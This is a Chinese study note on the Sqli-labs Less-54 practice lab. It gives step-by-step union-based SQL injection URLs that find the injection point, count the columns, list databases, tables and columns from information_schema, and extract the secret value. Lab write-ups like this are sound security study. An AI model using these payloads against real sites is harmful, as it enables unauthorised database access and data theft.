Sqli-labs-Less-54(笔记)

Sqli-labs-Less-54(笔记)

Sqli-labs-Less-54(笔记)

从这一关开始就接近真实的环境
在这一关中对输入的次数做了限制,必须在10次以内获取到数据,否则就会刷新数据。

判断注入点
http://www.web.com/sql/Less-54/?id=1’
错误,没有错误回显
Sqli-labs-Less-54(笔记)
进行注释,成功说明存在注入点
http://www.web.com/sql/Less-54/?id=1’–+
Sqli-labs-Less-54(笔记)
查看列数
http://www.web.com/sql/Less-54/?id=1’ order by 3–+
为4是返回错误,为3时返回正确,说明为3列
Sqli-labs-Less-54(笔记)
查询当前库和所有数据库
http://www.web.com/sql/Less-54/?id=-1’ union select 1,database(),group_concat(schema_name) from information_schema.schemata–+
Sqli-labs-Less-54(笔记)
查询所有表(challenges)
http://www.web.com/sql/Less-54/?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘challenges’–+
Sqli-labs-Less-54(笔记)
查询表中字段
http://www.web.com/sql/Less-54/?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘bv18m6rwxy’–+
Sqli-labs-Less-54(笔记)
查询账户和密码
http://www.web.com/sql/Less-54/?id=-1’ union select 1,2,group_concat(concat_ws(’~’,sessid,secret_Y0YL)) from challenges.bv18m6rwxy–+
Sqli-labs-Less-54(笔记)
将得到的密码输入到下面的方框中进行验证
Sqli-labs-Less-54(笔记)
登录,显示成功
Sqli-labs-Less-54(笔记)